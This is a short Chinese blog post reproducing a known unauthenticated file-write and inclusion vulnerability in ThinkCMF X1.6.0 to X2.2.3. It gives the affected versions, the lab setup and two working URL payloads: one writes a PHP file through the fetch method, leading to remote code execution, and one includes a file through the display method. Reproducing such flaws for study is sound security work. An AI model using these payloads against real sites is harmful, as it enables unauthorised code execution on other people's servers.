ThinkCMF框架任意内容包含漏洞复现

 

1. 漏洞概述

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。

利用此漏洞无需任何权限情况下,构造恶意的url,可以向服务器写入任意内容的文件,实现远程代码执行

 

2.影响范围

1     ThinkCMF X1.6.0
2     ThinkCMF X2.1.0
3     ThinkCMF X2.2.0
4     ThinkCMF X2.2.1
5     ThinkCMF X2.2.2
6     ThinkCMF X2.2.3

 

 

3.复现

环境搭建

我用的是phpstudy搭建ThinkCMF X2.2.3 

要用nginx,不然提示没有权限

 

 

根据安装向导安装即可

 

 

4.漏洞利用

方法一:

通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

phpinfo版payload如下:

1 ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

利用结果

访问写入的文件

 

第二种

通过构造a参数的display方法,实现任意内容包含漏洞

payload:

1 ?a=display&templateFile=README.md

 

 

 

 

 

参考文章:

https://www.freebuf.com/vuls/217586.html

 

posted @ 2019-11-12 20:08  蓝银花  阅读(753)  评论(0编辑  收藏  举报
Live2D